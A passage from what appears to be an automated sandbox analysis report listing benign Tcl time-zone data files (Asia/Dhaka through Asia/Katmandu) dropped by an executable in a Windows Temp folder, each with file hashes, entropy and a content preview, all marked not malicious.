Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Dhaka) {. {-9223372036854775808 21700 0 LMT}. {-2524543300 21200 0 HMT}. {-891582800 23400 0 BURT}. {-872058600 19800 0 IST}. {-862637400 23400 0 BURT}. {-576138600 21600 0 DACT}. {38772000 21600 0 BDT}. {1230746400 21600 0 BDT}. {1245430800 25200 1 BDST}. {1262278800 21600 0 BDT}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Dili

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	256
Entropy (8bit):	4.587835731879361
Encrypted:	false
SSDEEP:	6:SlSWB9X52wKCXeLm2OHnBGeV8/lvyvmnvQ/9Px31avQC:MBp52qXEmdHnBvVYyaG38F
MD5:	7F9C5A6B8E4EDE1CE42C6A9425328034
SHA1:	A6587A76395EFDA2B943015BF3DE4205FFEFEC19
SHA-256:	B534BF388636D6A03423E81D98B1FEFC54008EC787BDDF911FF84F9743A1CB65
SHA-512:	64A93AF638E6BDC17DE1A9B516DBA2445FF1FC68DE1D204F1A12A77AB326273D3D47C6ACD7DBE12474B3E46299C80D3E3A85261A0D2CE47A1C0002CE6BDAF4FB
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Dili) {. {-9223372036854775808 30140 0 LMT}. {-1830414140 28800 0 TLT}. {-879152400 32400 0 JST}. {-766054800 32400 0 TLT}. {199897200 28800 0 WITA}. {969120000 32400 0 TLT}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Dubai

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	142
Entropy (8bit):	4.963122715057284
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFx52WFKQiXGm2OHvkdvUQK23NVVL:SlSWB9X52wKQZm2OHvsRVNzL
MD5:	2B181DB4C9B360B5B7373DB8A70F47AA
SHA1:	E0A840BF9C5D4C13A29040E5DD7C03D566C8A73E
SHA-256:	061F12109C47BC58000693ACDFA1358CBD88A9D9F6784913C177B623320D793D
SHA-512:	2DC3F62E87A2A52249EABB3164DCE3F295426A0DE514DAAA05309F1676478CAC0A6B2CC14F8578E20E3806AB61A867968050588D8A0C5AAE6900B4203E82D4BA
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Dubai) {. {-9223372036854775808 13272 0 LMT}. {-1577936472 14400 0 GST}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Dushanbe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	825
Entropy (8bit):	4.144027251159681
Encrypted:	false
SSDEEP:	24:cQJeOhnLzFC5+qsnDMg4NjJMtW90cTyTi8GL:5J7qR9xWu/
MD5:	C7218D3EE62FB80760364BB9B702E60D
SHA1:	22E4F10B09074BE08FFA6E1531D06131B2B7BEDB
SHA-256:	7E98FA8D65FC458F1C60916A8ED629D0672901153AFA88CB31D7722906411F9C
SHA-512:	E1B62FAE2B801D82DAEE06339EA02774B9B17518D1C5197C145C101687D7E6058EDDC69BF7750DBBA49B9208FAB74FA5017826ACBEFE133F9D7A3C1245067038
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Dushanbe) {. {-9223372036854775808 16512 0 LMT}. {-1441168512 18000 0 DUST}. {-1247547600 21600 0 DUST}. {354909600 25200 1 DUSST}. {370717200 21600 0 DUST}. {386445600 25200 1 DUSST}. {402253200 21600 0 DUST}. {417981600 25200 1 DUSST}. {433789200 21600 0 DUST}. {449604000 25200 1 DUSST}. {465336000 21600 0 DUST}. {481060800 25200 1 DUSST}. {496785600 21600 0 DUST}. {512510400 25200 1 DUSST}. {528235200 21600 0 DUST}. {543960000 25200 1 DUSST}. {559684800 21600 0 DUST}. {575409600 25200 1 DUSST}. {591134400 21600 0 DUST}. {606859200 25200 1 DUSST}. {622584000 21600 0 DUST}. {638308800 25200 1 DUSST}. {654638400 21600 0 DUST}. {670363200 21600 1 DUSST}. {684363600 18000 0 TJT}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Gaza

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7963
Entropy (8bit):	3.6563447381676975
Encrypted:	false
SSDEEP:	96:uRGaKoVy0FUeLR2S5nfclzdVYi8x6PxGtv2h4WS+MjSIRY7a4sqwQu+RvgrSUt5F:uR7Vy0WetivMXGIRY7a45zmr99Xb
MD5:	8A67907EF66B0608A18CAA6FFCC833AD
SHA1:	5B4570AEE415E1AC4351ABD2350EE53D5D73DE6D
SHA-256:	2D9CC88561AE506A9AC50E98B2F65DC776EC3852D8FDF2BADD7051BBC6446241
SHA-512:	F9F3A9B6752384B25F219C4FA01E97976D66C5163E65555866FB166B9EDB4369049590E692341E3C7BCFBA89A864123159C03736C35564FDCF4238CCFE0746DC
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Gaza) {. {-9223372036854775808 8272 0 LMT}. {-2185409872 7200 0 EET}. {-933645600 10800 1 EET}. {-857358000 7200 0 EET}. {-844300800 10800 1 EET}. {-825822000 7200 0 EET}. {-812685600 10800 1 EET}. {-794199600 7200 0 EET}. {-779853600 10800 1 EET}. {-762656400 7200 0 EET}. {-748310400 10800 1 EET}. {-731127600 7200 0 EET}. {-682653600 7200 0 EET}. {-399088800 10800 1 EEST}. {-386650800 7200 0 EET}. {-368330400 10800 1 EEST}. {-355114800 7200 0 EET}. {-336790800 10800 1 EEST}. {-323654400 7200 0 EET}. {-305168400 10800 1 EEST}. {-292032000 7200 0 EET}. {-273632400 10800 1 EEST}. {-260496000 7200 0 EET}. {-242096400 10800 1 EEST}. {-228960000 7200 0 EET}. {-210560400 10800 1 EEST}. {-197424000 7200 0 EET}. {-178938000 10800 1 EEST}. {-165801600 7200 0 EET}. {-147402000 10800 1 EEST}. {-134265600 7200 0 EET}. {-115866000 10800 1 EEST

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Harbin

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	174
Entropy (8bit):	4.814799933523261
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyq8qvwVAIgNtA2WFKwHp4WFKdv:SlSWB9IZaM3yMwVAIgE2wKi4wKt
MD5:	2B286E58F2214F7A28D2A678B905CFA3
SHA1:	A76B2D8BA2EA264FE84C5C1ED3A6D3E13288132F
SHA-256:	6917C89A78ED54DD0C5C9968E5149D42727A9299723EC1D2EBD531A65AD37227
SHA-512:	0022B48003FE9C8722FD1762FFB8E07E731661900FCE40BD6FE82B70F162FF5D32888028519D51682863ADCAC6DD21D35634CA06489FD4B704DA5A8A018BF26F
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Asia/Shanghai)]} {. LoadTimeZoneFile Asia/Shanghai.}.set TZData(:Asia/Harbin) $TZData(:Asia/Shanghai).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Hebron

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7939
Entropy (8bit):	3.659150861905886
Encrypted:	false
SSDEEP:	96:J2aKoVy0FUeLR2S5nfclzdVYi8x6PxGtv2h4WF+MjSIRY7a4sqwQu+RvgrSUt55P:JLVy0WetivM2GIRY7a45zmr99Xb
MD5:	287E4E5DC349C09D3BEF88E370F04AE9
SHA1:	59F7EA7DAA2B5A19424B7EA6ADF9B7F1D12566A3
SHA-256:	64D60DA57273A5B0F98D794C79644625155293B5047C1C62D0A25A71FEDC9F8E
SHA-512:	9F0D818C94C15B79B288E56B402FC667F0C02291C7A509DB86EA887473A4A338CF222A210D23D9D1D5A6EDF667F539EC1530FE99ADAF83D7983FD7FF8642E8BC
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Hebron) {. {-9223372036854775808 8423 0 LMT}. {-2185410023 7200 0 EET}. {-933645600 10800 1 EET}. {-857358000 7200 0 EET}. {-844300800 10800 1 EET}. {-825822000 7200 0 EET}. {-812685600 10800 1 EET}. {-794199600 7200 0 EET}. {-779853600 10800 1 EET}. {-762656400 7200 0 EET}. {-748310400 10800 1 EET}. {-731127600 7200 0 EET}. {-682653600 7200 0 EET}. {-399088800 10800 1 EEST}. {-386650800 7200 0 EET}. {-368330400 10800 1 EEST}. {-355114800 7200 0 EET}. {-336790800 10800 1 EEST}. {-323654400 7200 0 EET}. {-305168400 10800 1 EEST}. {-292032000 7200 0 EET}. {-273632400 10800 1 EEST}. {-260496000 7200 0 EET}. {-242096400 10800 1 EEST}. {-228960000 7200 0 EET}. {-210560400 10800 1 EEST}. {-197424000 7200 0 EET}. {-178938000 10800 1 EEST}. {-165801600 7200 0 EET}. {-147402000 10800 1 EEST}. {-134265600 7200 0 EET}. {-115866000 10800 1 EE

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Ho_Chi_Minh

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	381
Entropy (8bit):	4.474832924192987
Encrypted:	false
SSDEEP:	6:SlSWB9X52wKKACm2OHAT1P3XTxYCuGmGt+zvmOcFVtQvuG6MUfRHUuGmQ95WuGLn:MBp52SmdHqP3tYSl+z5iVi36MUdomQ9M
MD5:	466A7999B1FA3D61C17048FCF412A627
SHA1:	5CFA3C9D19FAE9423F8BC9E5914DD0E7B22E658F
SHA-256:	EA63CE60749382FFF09F689202F3C5B030DB1753A60BC66C540396C98E9A3433
SHA-512:	65293BAFCE7E76DAAE7E9225BC09D0F80A8AA9EA000C900CF7CC66FB9BC811852C32B02E3F7510B8675939FE5BCEAE7966AF15F6542185E80E333B81114A1799
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Ho_Chi_Minh) {. {-9223372036854775808 25600 0 LMT}. {-2004073600 25590 0 PLMT}. {-1851577590 25200 0 ICT}. {-852105600 28800 0 IDT}. {-782643600 32400 0 JST}. {-767869200 25200 0 ICT}. {-718095600 28800 0 IDT}. {-457776000 25200 0 ICT}. {-315648000 28800 0 IDT}. {171820800 25200 0 ICT}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Hong_Kong

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2150
Entropy (8bit):	3.923186571913929
Encrypted:	false
SSDEEP:	24:cQPeCtKkjz1lk/mJURqMJDHxyOPq8vWhV0Z8dX83FdX1BzX4JX/v9YsKP2ieGklq:5tK+Zlim0nltdT1BD45X+iA3tnN7
MD5:	BBA59A5886F48DCEC5CEFDB689D36880
SHA1:	8207DE6AB5F7EC6077506ED3AE2EEA3AB35C5FAE
SHA-256:	F66F0F161B55571CC52167427C050327D4DB98AD58C6589FF908603CD53447F0
SHA-512:	D071D97E6773FC22ABCCE3C8BE133E0FDA40C385234FEB23F69C84ABB9042E319D6891BD9CA65F2E0A048E6F374DB91E8880DCD9711A86B79A3A058517A3DBFA
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Hong_Kong) {. {-9223372036854775808 27402 0 LMT}. {-2056693002 28800 0 HKT}. {-907389000 32400 1 HKST}. {-891667800 28800 0 HKT}. {-884246400 32400 0 JST}. {-766746000 28800 0 HKT}. {-747981000 32400 1 HKST}. {-728544600 28800 0 HKT}. {-717049800 32400 1 HKST}. {-694503000 28800 0 HKT}. {-683785800 32400 1 HKST}. {-668064600 28800 0 HKT}. {-654755400 32400 1 HKST}. {-636615000 28800 0 HKT}. {-623305800 32400 1 HKST}. {-605165400 28800 0 HKT}. {-591856200 32400 1 HKST}. {-573715800 28800 0 HKT}. {-559801800 32400 1 HKST}. {-542352600 28800 0 HKT}. {-528352200 32400 1 HKST}. {-510211800 28800 0 HKT}. {-498112200 32400 1 HKST}. {-478762200 28800 0 HKT}. {-466662600 32400 1 HKST}. {-446707800 28800 0 HKT}. {-435213000 32400 1 HKST}. {-415258200 28800 0 HKT}. {-403158600 32400 1 HKST}. {-383808600 28800 0 HKT}. {-371709000 32400 1 HKST}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Hovd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6665
Entropy (8bit):	3.8069447053477594
Encrypted:	false
SSDEEP:	96:ufwim2VSlW/YEr32KTxCw37e2cvBtwxO+Zw+840XUNXECX5WsUPxQFuQj+SFiaPd:uOuRVBDKUJE05q9DNUdbpT5Zv
MD5:	75B17F3081E1788D37E4B2EE4B941E61
SHA1:	292BCE7856A8B4B94A994C50D7B7CA0CC64D7022
SHA-256:	D6BCD0D416A2FB26707BCBD077FBF10D3654F2EDE74872C07579D2F21A315ACC
SHA-512:	4CA29519C998E01BF7B4918AFAB7E24628CB74F08C29AE2DD7BCF4109FA1D6EC59A345FFD40AD3DEEAED3458C5D1AD9B203501892AE3B63DD0D4F65F8C88D82C
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Hovd) {. {-9223372036854775808 21996 0 LMT}. {-2032927596 21600 0 HOVT}. {252439200 25200 0 HOVT}. {417978000 28800 1 HOVST}. {433785600 25200 0 HOVT}. {449600400 28800 1 HOVST}. {465321600 25200 0 HOVT}. {481050000 28800 1 HOVST}. {496771200 25200 0 HOVT}. {512499600 28800 1 HOVST}. {528220800 25200 0 HOVT}. {543949200 28800 1 HOVST}. {559670400 25200 0 HOVT}. {575398800 28800 1 HOVST}. {591120000 25200 0 HOVT}. {606848400 28800 1 HOVST}. {622569600 25200 0 HOVT}. {638298000 28800 1 HOVST}. {654624000 25200 0 HOVT}. {670352400 28800 1 HOVST}. {686073600 25200 0 HOVT}. {701802000 28800 1 HOVST}. {717523200 25200 0 HOVT}. {733251600 28800 1 HOVST}. {748972800 25200 0 HOVT}. {764701200 28800 1 HOVST}. {780422400 25200 0 HOVT}. {796150800 28800 1 HOVST}. {811872000 25200 0 HOVT}. {828205200 28800 1 HOVST}. {843926400 25200 0 HOVT}. {

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Irkutsk

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2122
Entropy (8bit):	3.96053522561162
Encrypted:	false
SSDEEP:	24:cQoewkB4/jwhTFwDHZwZ3awOvwl2zbufw5+rwg0gRww6wH8/w1Gd+RwYW61/XnET:5ykBI4CP6qaPfDkb1Mhdo1h
MD5:	7A9EBA3728CD01A8B54B7A31E0937C17
SHA1:	367213E8C5A0CE2FA6D80994DD5BDC3829A82CB5
SHA-256:	8E540A654476D9D2B2C56FC32677FE7CBBBE9D2133FDC5024C55136F9358444A
SHA-512:	5338731C5E78A795694EFB7D978E8A739FDC10E6B1BADCE46DF748F48A29A22A4F1DCB7191A2FE1FF3397FF4B8AACC046033F28BD47C563450BCF8F4D70DBBC9
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Irkutsk) {. {-9223372036854775808 25025 0 LMT}. {-2840165825 25025 0 IMT}. {-1575874625 25200 0 IRKT}. {-1247554800 28800 0 IRKMMTT}. {354902400 32400 1 IRKST}. {370710000 28800 0 IRKT}. {386438400 32400 1 IRKST}. {402246000 28800 0 IRKT}. {417974400 32400 1 IRKST}. {433782000 28800 0 IRKT}. {449596800 32400 1 IRKST}. {465328800 28800 0 IRKT}. {481053600 32400 1 IRKST}. {496778400 28800 0 IRKT}. {512503200 32400 1 IRKST}. {528228000 28800 0 IRKT}. {543952800 32400 1 IRKST}. {559677600 28800 0 IRKT}. {575402400 32400 1 IRKST}. {591127200 28800 0 IRKT}. {606852000 32400 1 IRKST}. {622576800 28800 0 IRKT}. {638301600 32400 1 IRKST}. {654631200 28800 0 IRKT}. {670356000 25200 0 IRKMMTT}. {670359600 28800 1 IRKST}. {686084400 25200 0 IRKT}. {695761200 28800 0 IRKMMTT}. {701794800 32400 1 IRKST}. {717516000 28800 0 IRKT}. {733255200 32400

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Istanbul

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	182
Entropy (8bit):	4.853387718159342
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqxV0XaDvFVAIgoq3XPHt2WFK4HB/8QaqXNn:SlSWB9IZaM3ymQazFVAIgoQPHt2wK4HJ
MD5:	7EC8D7D32DC13BE15122D8E26C55F9A2
SHA1:	5B07C7161F236DF34B0FA83007ECD75B6435F420
SHA-256:	434B8D0E3034656B3E1561615CCA192EFA62942F285CD59338313710900DB6CB
SHA-512:	D8F1999AF509871C0A7184CFEFB0A50C174ABDE218330D9CDC784C7599A655AD55F6F2173096EA91EE5700B978B9A94BBFCA41970206E7ADEB804D0EE03B45ED
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Europe/Istanbul)]} {. LoadTimeZoneFile Europe/Istanbul.}.set TZData(:Asia/Istanbul) $TZData(:Europe/Istanbul).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Jakarta

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	350
Entropy (8bit):	4.542050715764197
Encrypted:	false
SSDEEP:	6:SlSWB9X52wKcr6m2OHATJesaSYzfkc5q/wGiNWSyvmJdwGiD1HiDF4mwGiLTFSwS:MBp52E6mdHjk+8c5awGi0SyIwGiDhiD1
MD5:	02C6F624D7D195D38B0B7F87DEC6E73E
SHA1:	DD3D6ABABF5808DB130017D6FAD5910AAE309108
SHA-256:	234422AD44B7529CBF6A8CB02B11F9CF4639EAA382104D73E6367E8F24552A7B
SHA-512:	FEFC297015AEEA5A909975EC0633DC2FFB119E436B01C9565B8402D65A0CE9BAF063156D23A605A3517253706A656D63B4E370461C8EC4BBA60A3F573F783E37
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Jakarta) {. {-9223372036854775808 25632 0 LMT}. {-3231299232 25632 0 BMT}. {-1451719200 26400 0 JAVT}. {-1172906400 27000 0 WIB}. {-876641400 32400 0 JST}. {-766054800 27000 0 WIB}. {-683883000 28800 0 WIB}. {-620812800 27000 0 WIB}. {-189415800 25200 0 WIB}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Jayapura

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	204
Entropy (8bit):	4.843450549897039
Encrypted:	false
SSDEEP:	6:SlSWB9X52wKcjm2OHG4YVkcfvhyowOGCV4zvhL:MBp52omdHNYacfoo1VkV
MD5:	8A51DF89DD90ED0E198E8934B98DFD25
SHA1:	0CE93E2B06717056F2ED0660F71A98B4A74272B0
SHA-256:	8A90F4DB1EA1B3F07610CF4256A1214FC351652B8ECC4D2412257F6DF8A7540C
SHA-512:	81F94DB65EFD39BF074184ACE2BCFA2932175BF6F48FF48425736E772F87FD73BD4278FD3C5BFABA1C6E6359426E9344BAB5C055967B58DD645C537E6AF4306D
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Jayapura) {. {-9223372036854775808 33768 0 LMT}. {-1172913768 32400 0 WIT}. {-799491600 34200 0 ACST}. {-189423000 32400 0 WIT}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Jerusalem

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7690
Entropy (8bit):	3.684387169764595
Encrypted:	false
SSDEEP:	96:GzmnxfFtWR8fKnG/QvW+tCE5nfclzdVYi8x6PxGtv2TiGuyLsbAicBnKqXRGlGrz:0mKivDivbOKWKwX5BrAZp0
MD5:	4C37DF27AB1E906CC624A62288847BA8
SHA1:	BE690D3958A4A6722ABDF047BF22ACEC8B6D6AFE
SHA-256:	F10DF7378FF71EDA45E8B1C007A280BBD4629972D12EAB0C6BA7623E98AAFA17
SHA-512:	B14F5FB330078A564796114FA6804EA12CE0AD6B2DF6D871FF6E7B416425B12FFD6B4E8511FCD55609FBCE95C8EDFF1E14B1C8C505F4B5B66F47EA52FD53F307
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Jerusalem) {. {-9223372036854775808 8454 0 LMT}. {-2840149254 8440 0 JMT}. {-1641003640 7200 0 IST}. {-933645600 10800 1 IDT}. {-857358000 7200 0 IST}. {-844300800 10800 1 IDT}. {-825822000 7200 0 IST}. {-812685600 10800 1 IDT}. {-794199600 7200 0 IST}. {-779853600 10800 1 IDT}. {-762656400 7200 0 IST}. {-748310400 10800 1 IDT}. {-731127600 7200 0 IST}. {-681962400 14400 1 IDDT}. {-673243200 10800 1 IDT}. {-667962000 7200 0 IST}. {-652327200 10800 1 IDT}. {-636426000 7200 0 IST}. {-622087200 10800 1 IDT}. {-608947200 7200 0 IST}. {-591847200 10800 1 IDT}. {-572486400 7200 0 IST}. {-558576000 10800 1 IDT}. {-542851200 7200 0 IST}. {-527731200 10800 1 IDT}. {-514425600 7200 0 IST}. {-490845600 10800 1 IDT}. {-482986800 7200 0 IST}. {-459475200 10800 1 IDT}. {-451537200 7200 0 IST}. {-428551200 10800 1 IDT}. {-418262400 7200 0 IST}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Kabul

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	171
Entropy (8bit):	4.853601274352773
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFx52WFKTwkXGm2OHodFxsYvXgVHURRNV3Fqdj/cXHFk5:SlSWB9X52wKTEm2OHoH+YPgVHURbRFIR
MD5:	43B74064BEEB2CE6D805234CB47A1EAB
SHA1:	CE3C389E33948A9C45EFE1CD68D01E7D971014C1
SHA-256:	58A8B20C1CB4C0C2F329A0E7869E1F11223E1AC35AC2C275930543A79689170B
SHA-512:	0618804849BC540480DD6E165CBBCAF7675B74580961D02DAF6A158AD10D47EEA57757115F64A67060C8F3D96917FD21F71733DB16D9C3A5E2F4EB6DD99DC4FA
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Kabul) {. {-9223372036854775808 16608 0 LMT}. {-2524538208 14400 0 AFT}. {-788932800 16200 0 AFT}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Kamchatka

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2097
Entropy (8bit):	3.9243582157859627
Encrypted:	false
SSDEEP:	24:cQ+3e8/95MLQe7+F9b2M7Mx8c8JF5i3L5rSv9Bx12S8+igR7todVMwLF68SRWMnW:5c/ryKF9lcFIvDH2BdIf59e32Ct
MD5:	00EB1A20193C078423934CFD3B84B1CE
SHA1:	1C53A7872A3C9E0398F44DF1F441D81B907B6329
SHA-256:	58E26F3AE41EA89F186F109BC1110121C898995A5DD350EDDE69FB805758C253
SHA-512:	0C70BB8D0BC6A3D1A335CF2EB6F065A1FEBAC2C42FD9F87C29CD84015759F13868C01AF364B5D627FC5B0D749D048CDA51D518FC4A34D82FF45A7B20EB1E7928
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Kamchatka) {. {-9223372036854775808 38076 0 LMT}. {-1487759676 39600 0 PETT}. {-1247569200 43200 0 PETMMTT}. {354888000 46800 1 PETST}. {370695600 43200 0 PETT}. {386424000 46800 1 PETST}. {402231600 43200 0 PETT}. {417960000 46800 1 PETST}. {433767600 43200 0 PETT}. {449582400 46800 1 PETST}. {465314400 43200 0 PETT}. {481039200 46800 1 PETST}. {496764000 43200 0 PETT}. {512488800 46800 1 PETST}. {528213600 43200 0 PETT}. {543938400 46800 1 PETST}. {559663200 43200 0 PETT}. {575388000 46800 1 PETST}. {591112800 43200 0 PETT}. {606837600 46800 1 PETST}. {622562400 43200 0 PETT}. {638287200 46800 1 PETST}. {654616800 43200 0 PETT}. {670341600 39600 0 PETMMTT}. {670345200 43200 1 PETST}. {686070000 39600 0 PETT}. {695746800 43200 0 PETMMTT}. {701780400 46800 1 PETST}. {717501600 43200 0 PETT}. {733240800 46800 1 PETST}. {748965600 4320

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Karachi

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	436
Entropy (8bit):	4.388322988460791
Encrypted:	false
SSDEEP:	12:MBp52SmdH35S6DvJGnQmYd4vJGNEH+emSvtk6a2iW6oNl:cQSe3pJGnQ1oJGNErmKTh
MD5:	3187FD74C102BA1F43F583EC21C793FE
SHA1:	919FBFE5CA517A691F71FEDFA6708C711C57FB56
SHA-256:	69772D2E11F94B0BF327577C7D323115AF876280B1ACE880885F7A7B8294A98D
SHA-512:	31A68FAE751973F8EC4A5AC635EDB4E6A61FA20EC43EC3E555B93ACCA2BE4138ACAD7B75A2ECEE9FFE57E88561CDC0B19A9B8ACA6477461BCB4A5391B8E46CB2
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Karachi) {. {-9223372036854775808 16092 0 LMT}. {-1988166492 19800 0 IST}. {-862637400 23400 1 IST}. {-764145000 19800 0 IST}. {-576135000 18000 0 KART}. {38775600 18000 0 PKT}. {1018119660 21600 1 PKST}. {1033840860 18000 0 PKT}. {1212260400 21600 1 PKST}. {1225476000 18000 0 PKT}. {1239735600 21600 1 PKST}. {1257012000 18000 0 PKT}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Kashgar

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	169
Entropy (8bit):	4.920527043039276
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyq8s4YkdVAIgNrMvN2WFKu3e2WFKjvn:SlSWB9IZaM3yMGdVAIgWvN2wKulwKjvn
MD5:	9A66108527388564A9FBDB87D586105F
SHA1:	945E043A3CC45A4654C2D745A48E1D15F80A3CB5
SHA-256:	E2965AF4328FB065A82E8A21FF342C29A5942C2EDD304CE1C9087A23A91B65E1
SHA-512:	C3985D972AFB27E194CBE117E6CF8C45AA5A1B6504133FF85D52E8024387133D11F9EE7238FF87DC1D96F140B9467E6DB3F99B0B98299E6782A643288ABD3308
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Asia/Urumqi)]} {. LoadTimeZoneFile Asia/Urumqi.}.set TZData(:Asia/Kashgar) $TZData(:Asia/Urumqi).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Kathmandu

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	174
Entropy (8bit):	4.922860853700539
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFx52WFKXIi7mFSXGm2OHF+VT5vUQKwMTXvvhGFFRk8P4Vvz7YvC:SlSWB9X52wKYgyJm2OH0T5RNMzvJGzR8
MD5:	22F2D8D0784F512229C97AB2BAA8A74D
SHA1:	094F1A9ED44D2C59AC23FC68BBD79F4A9106CD73
SHA-256:	1FE25575950AFD271395661926068B917FA32360B46B94F8DBF148BFB597D24D
SHA-512:	8AF5BACF0ACD0EA8F25F8FC227BCD2CF18735306F41E11763947B2DFF84229511F712E9E6F893D3CEEB36993503D68969D4B0D0FBFA91F469BDDDC23CF9CBA84
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Kathmandu) {. {-9223372036854775808 20476 0 LMT}. {-1577943676 19800 0 IST}. {504901800 20700 0 NPT}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Katmandu

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	179
Entropy (8bit):	4.786408960928606
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyq8yIi7VyVAIgN1AIilHt2WFKSiZ1/2WFKXIi7v:SlSWB9IZaM3y7gVyVAIg5M2wKSg1/2wm
